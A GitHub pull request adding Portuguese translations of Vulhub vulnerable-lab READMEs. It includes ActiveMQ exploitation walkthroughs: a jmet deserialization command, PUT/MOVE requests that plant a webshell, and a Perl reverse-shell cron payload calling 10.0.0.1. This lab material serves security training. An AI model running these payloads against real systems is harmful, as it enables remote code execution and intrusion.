Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Hello, I translated several environments! #329

Closed
wants to merge 4 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@
Vulhub is an open-source collection of pre-built vulnerable docker environments. No pre-existing knowledge of docker is required, just execute two simple commands and you have a vulnerable environment.

[中文版本(Chinese version)](README.zh-cn.md)
[PT-BR(Portuguese version)](./README.pt-br.md)

## Installation

Expand Down
126 changes: 126 additions & 0 deletions README.pt-br.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
<!-- markdownlint-disable first-line-heading -->
<p align="center">
<img src=".github/assets/logo.svg" alt="Vulhub" height="300" />
<p align="center">
<a href="https://github.com/vulhub/vulhub/blob/master/LICENSE">
<img src="https://img.shields.io/github/license/vulhub/vulhub.svg" alt="GitHub">
</a>
<a href="https://www.wangan.com/vulhub">
<img src="https://img.shields.io/badge/Official-Community-blue.svg" alt="Official Community">
</a>
<a href="https://discord.gg/GhMB3Z">
<img src="https://img.shields.io/discord/485505185167179778.svg" alt="Chat on Discord">
</a>
<a href="https://www.patreon.com/phith0n">
<img src="https://img.shields.io/badge/sponsor-patreon-73d6a1.svg" alt="Backers and sponors on Patreon">
</a>
<a href="https://opencollective.com/vulhub#backer">
<img src="https://img.shields.io/badge/backer-opencollective-f89a76.svg" alt="Backers and sponors on Opencollective">
</a>
</p>
</p>

Vulhub é uma coleção de código aberto de ambientes docker vulneráveis pré-criados. Nenhum conhecimento pré-existente do docker é necessário, basta executar dois comandos simples e você terá um ambiente vulnerável.

[中文版本(Chinese version)](README.zh-cn.md)
[PT-BR(Portuguese version)](./README.pt-br.md)

## Instalação

Instale o docker/docker-compose no Ubuntu 20.04:

```bash
# Instalar pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3

# Instale a janela de encaixe da versão mais recente
curl -s https://get.docker.com/ | sh

# Executa o serviço docker
systemctl start docker

# Instala a composição do docker
pip install docker-compose
```

As etapas de instalação do docker e do docker-compose para outros sistemas operacionais podem ser ligeiramente diferentes, consulte a [documentação do docker](https://docs.docker.com/) para obter detalhes.

## Uso

```bash
# Baixar projeto
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master

# Entre no diretório de vulnerabilidade/ambiente
cd flask/ssti

# Compilar ambiente
docker-compose build

# Executar ambiente
docker-compose up -d
```

Existe um documento **README** em cada diretório de ambiente, por favor leia este arquivo para teste e uso de vulnerabilidade/ambiente.

Após o teste, exclua o ambiente com o seguinte comando.

```
docker-compose down -v
```

Recomenda-se usar um VPS de pelo menos 1 GB de memória para criar um ambiente de vulnerabilidade. O `your-ip` mencionado na documentação refere-se ao endereço IP do seu VPS. Se você estiver usando uma máquina virtual, ele se refere ao IP da máquina virtual, não ao IP dentro do contêiner docker.

**Todos os ambientes neste projeto são apenas para fins de teste e não devem ser usados como ambiente de produção!**

## Aviso prévio

1. Para evitar erros de permissão, é melhor usar o usuário root para executar os comandos docker e docker-compose.
2. Algumas imagens docker não suportam execução em máquinas ARM.

## Contribuição

Este projeto depende do docker. Portanto, qualquer erro durante a compilação e execução é gerado pelo docker e programas relacionados. Por favor, encontre a causa do erro por si mesmo primeiro. Se for determinado que o dockerfile está escrito incorretamente (ou o código está errado no vulhub), envie o problema. Mais detalhes por favor 👉[Motivos comuns para falha de compilação](https://github.com/phith0n/vulhub/wiki/%E7%BC%96%E8%AF%91%E5%A4%B1%E8%B4%A5%E7%9A%84%E5%8E%9F%E5%9B%A0), espero que possa ajudá-lo.

Para mais perguntas, entre em contato:

- [Comunidade chinesa](https://www.wangan.com/vulhub)
- [Discord](https://discord.gg/GhMB3Z)
- [Twitter](https://twitter.com/vulhub)

Obrigado aos seguintes colaboradores:

[![](https://opencollective.com/vulhub/contributors.svg?width=890&button=false)](https://github.com/vulhub/vulhub/graphs/contributors)

Mais contribuidores:[Lista de contribuidores](contributors.md)

## Parceiros

Nossos Parceiros e Usuários:

<p>
<a href="https://www.wangan.com/vulhub" target="_blank"><img src="https://vulhub.org/img/sponsor/wangan.png" width="200"></a>
<a href="https://www.cvebase.com" target="_blank"><img src="https://vulhub.org/img/sponsor/cvebase.png" width="200"></a>
<a href="https://www.huoxian.cn" target="_blank"><img src="https://vulhub.org/img/sponsor/huoxian.png" width="200"></a>
<a href="https://www.chaitin.cn" target="_blank"><img src="https://vulhub.org/img/sponsor/chaitin.png" width="200"></a>
<a href="https://xianzhi.aliyun.com/" target="_blank"><img src="https://vulhub.org/img/sponsor/aliyun.svg" width="200"></a>
</p>

Patrocine vulhub no patreon 🙏

<a href="https://www.patreon.com/bePatron?u=12677520"><img src="https://vulhub.org/img/sponsor/patreon.png" width="150"></a>

Patrocine vulhub no opencollective 🙏

<p>
<a href="https://opencollective.com/vulhub#backer"><img src="https://opencollective.com/vulhub/backers.svg?width=138"></a>
<a href="https://opencollective.com/vulhub#sponsor"><img src="https://opencollective.com/vulhub/sponsors.svg?width=138"></a>
</p>

Mais [doações](http://vulhub.org/#/docs/donate/).

## Licença

Vulhub é licenciado sob a Licença MIT. Consulte [LICENSE](LICENSE) para obter o texto completo da licença.
1 change: 1 addition & 0 deletions activemq/CVE-2015-5254/README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
# ActiveMQ Deserialization Vulnerability (CVE-2015-5254)

[中文版本(Chinese version)](README.zh-cn.md)
[PT-BR(Portuguese version)](README.pt-br.md)

Apache ActiveMQ is an open source messaging middleware developed by the American Pachitea (Apache) Software Foundation that supports Java messaging services, clustering, Spring framework, and more.

Expand Down
59 changes: 59 additions & 0 deletions activemq/CVE-2015-5254/README.pt-br.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
# ActiveMQ Deserialization Vulnerability (CVE-2015-5254)

Apache ActiveMQ é um middleware de mensagens de código aberto desenvolvido pela American Pachitea (Apache) Software Foundation que oferece suporte a serviços de mensagens Java, clustering, estrutura Spring e muito mais.

Apache ActiveMQ versão 5.x antes da vulnerabilidade de segurança 5.13.0, a vulnerabilidade causada pelo programa não limita as classes que podem ser serializadas no proxy. O invasor remoto pode fazer com que um objeto ObjectMessage do Java Message Service (JMS) serializado especial explore essa vulnerabilidade para executar código arbitrário.

Links de referência:

- https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

## Ambiente de vulnerabilidade

Inicie o ambiente vulnerável:

```
docker-compose up -d
```

Após executar o ambiente, ele estabelecerá duas portas na porta 61616 e 8161. A porta 61616 é a porta de trabalho e as mensagens são entregues nesta porta. A porta 8161 é a porta da página de gerenciamento de página da Web. Acesse `http://your-ip:8161`, Você pode ver a página de gerenciamento de rede, mas essa vulnerabilidade não requer uma rede teoricamente.

## Explorando

O processo de exploração é o seguinte:

1. Gere a payload serializada (você pode usar ysoserial)
2. Enviar payload para a porta 61616
3. Acesse a página de gerenciamento da web e leia as mensagens de serialização, então você pode acionar a vulnerabilidade.

Para explorar este ambiente, usaremos [jmet](https://github.com/matthiaskaiser/jmet) (Java Message Exploitation Tool). Primeiro baixe o arquivo jar do jmet, e crie a pasta chamada **external** no mesmo diretório (caso contrário pode ocorrer o erro da pasta não existir).

o jmet é para usar o ysoserial para gerar o Payload e enviá-lo (o jar vem com o ysoserial, não precisamos baixá-lo novamente), então precisamos escolher um que possa ser usado no ysoserial como o gadget, como ROME.

Execute:

```
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
```

![](1.png)

Neste ponto, uma fila chamada event será adicionada ao ActiveMQ de destino.

Você pode visitar `http://your-ip:8161/admin/browse.jsp?JMSDestination=Event` para ver todas as mensagens nesta fila.

(**login / password:** admin/admin):

![](2.png)

Clique nesta mensagem para acionar o comando execute, desta vez no container `docker-compose exec activemq bash`,

podemos ver que /tmp/success foi criado com sucesso, indicando que a exploração foi bem-sucedida:

![](3.png)

Substitua o comando por uma instrução shell reversa e reutilize-o:

![](4.png)

Vale a pena notar que acessar mensagens pela página de administração da Web e acionar a vulnerabilidade requer privilégios de administrador. Na ausência de senha, podemos induzir o administrador a visitar nosso link para acionar, ou mensagens legítimas disfarçadas de outros serviços precisam aguardar o acesso do cliente quando acionadas.
1 change: 1 addition & 0 deletions activemq/CVE-2016-3088/README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
# ActiveMQ Arbitrary File Write Vulnerability (CVE-2016-3088)

[中文版本(Chinese version)](README.zh-cn.md)
[PT-BR(Portuguese version)](README.pt-br.md)

## Environment setup

Expand Down
122 changes: 122 additions & 0 deletions activemq/CVE-2016-3088/README.pt-br.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
# ActiveMQ Arbitrary File Write Vulnerability (CVE-2016-3088)

## Configuração do ambiente

Digite os seguintes comandos para construir e executar o ambiente de vulnerabilidade:

```
docker-compose up -d
```

O ambiente escuta a porta 61616 e a porta 8161, das quais 8161 é a porta do console da web. Essa vulnerabilidade aparece no console da web.

Visite `http://your-ip:8161/` para ver a página web, indicando que o ambiente foi executado com sucesso.

## Breve histórico

O console da web do ActiveMQ é dividido em três aplicativos, admin, API e fileserver, onde o admin é a página do administrador, a API é a interface e o fileserver é a interface para armazenamento de arquivos; admin e API precisam fazer login antes que possam ser usados, o servidor de arquivos não precisa fazer login.

fileserver é uma interface de API RESTful. Podemos ler e gravar arquivos armazenados nele por meio de solicitações HTTP, como GET, PUT e DELETE. A finalidade do design é compensar o defeito de que a operação da fila de mensagens não pode transferir e armazenar arquivos binários, mas depois descobriu que:

1. Sua taxa de uso não é alta
2. As operações de arquivo são propensas a vulnerabilidades

Portanto, o ActiveMQ fechou o aplicativo de servidor de arquivos por padrão em 5.12.x~5.13.x (você pode abri-lo em conf/jetty.xml); após 5.14.0, o aplicativo de servidor de arquivos é completamente removido.

No processo de teste, você deve prestar atenção à versão do ActiveMQ, para evitar esforços inúteis.

## Detalhes da vulnerabilidade

Esta vulnerabilidade aparece no aplicativo Fileserver, o princípio da vulnerabilidade é realmente muito simples, ou seja, o fileserver suporta a gravação de arquivos (mas não analisa o JSP), enquanto suporta o arquivo de movimentação (solicitação de MOVE). Portanto, só precisamos escrever um arquivo e movê-lo para qualquer local usando uma solicitação de movimentação, causando uma vulnerabilidade arbitrária de gravação de arquivo.

Gravar arquivos como cron ou chave ssh

1. Escreva Webshell
2. Grave arquivos como cron ou chave ssh
3. Gravar bibliotecas e arquivos de configuração como jar ou jetty.xml

A vantagem de escrever web shell é conveniente, mas o servidor de arquivos não analisa JSP, admin e API ambos precisam fazer login para acessar, então é um pouco fútil; A vantagem de escrever a chave cron ou ssh é reverter diretamente o Shell, também é conveniente, a desvantagem é que você precisa de privilégios de root; escrever jar, um pequeno problema (requer jar back door), escrever arquivo de configuração XML, este método é mais confiável, mas há um ponto fútil: precisamos saber o caminho absoluto do ActiveMQ.

Vamos falar sobre os vários métodos acima.

### Escrever Webshell

Escreva WebshellComo eu disse anteriormente, o Webshell precisa ser escrito no aplicativo Admin ou API, e ambos os aplicativos precisam estar logados para acessar.

A conta e senha padrão do ActiveMQ é `admin`. Primeiro, visite `http://your-ip:8161/admin/test/systemProperties.jsp` para ver o caminho absoluto do ActiveMQ:

![](02.png)

Em seguida, faça o upload do Webshell:

```
PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...
```

Em seguida, mova-o para a pasta API (`/opt/activemq/webapps/api/s.jsp`) no diretório Web:

```
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
```

Access Webshell (login required):

![](03.png)

### Escreva crontab, automatize o shell reverso

Este é um método relativamente estável. Primeiro carregue o arquivo de configuração do cron (observe que a nova linha deve ser `\n`, não `\r\n`, caso contrário a execução do crontab falhará):

```
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Mova-o para `/etc/cron.d/root`:

```
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
```

Se ambas as solicitações acima retornarem 204, a gravação será bem-sucedida. Aguardando o shell reverso:

![](01.png)

Este método requer que o ActiveMQ seja executado como root, caso contrário, ele não poderá gravar no arquivo cron.

### Escreva jetty.xml ou jar

Em teoria, podemos substituir o jetty.xml, remover as restrições de login para admin e API e então escrever um web shell.

Em alguns casos, o proprietário do jetty.xml e do jar é o usuário do container da web, portanto, a taxa de sucesso ao escrever crontab é maior.

Não testado ainda.
1 change: 1 addition & 0 deletions apereo-cas/4.1-rce/README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
# Apereo CAS 4.1 Deserialization RCE Vulnerability

[中文版本(Chinese version)](README.zh-cn.md)
[PT-BR(Portuguese version)](README.pt-br.md)

Apereo CAS is a enterprise single sign-on system. There is an issue in CAS’s attempts to deserialize objects via the Apache Commons Collections library, which cased a RCE vulnerability.

Expand Down
Loading